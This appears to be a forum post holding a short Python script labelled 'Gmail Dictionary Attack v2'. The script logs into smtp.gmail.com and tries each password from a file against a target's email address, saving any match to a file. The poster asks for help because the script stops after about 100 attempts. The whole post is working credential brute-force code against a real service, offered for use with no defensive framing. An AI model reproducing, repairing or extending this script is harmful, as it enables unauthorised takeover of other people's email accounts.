#I HAVE THIS CODE BUT ONCE I RUN I ONLY GET TO TRY THE FIRST 100 PASSWORDS ONLY, AND THEN THE PROGRAM SHUTSDOWN
# Program: Gmail Dictionary Attack v2
# Author: RiseX
# Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.
import smtplib
import pathlib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Enter the target's email address: ")
pathlib.Path("email.txt").write_text("%s" % user)
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print("+ Password Found: %s" % password)
pathlib.Path("password.txt").write_text("The pass is %s" % password)
exit()
except smtplib.SMTPAuthenticationError:
print("! Password Incorrect: %s" % password)
Comments
No Comments Exist
Be the first, drop a comment!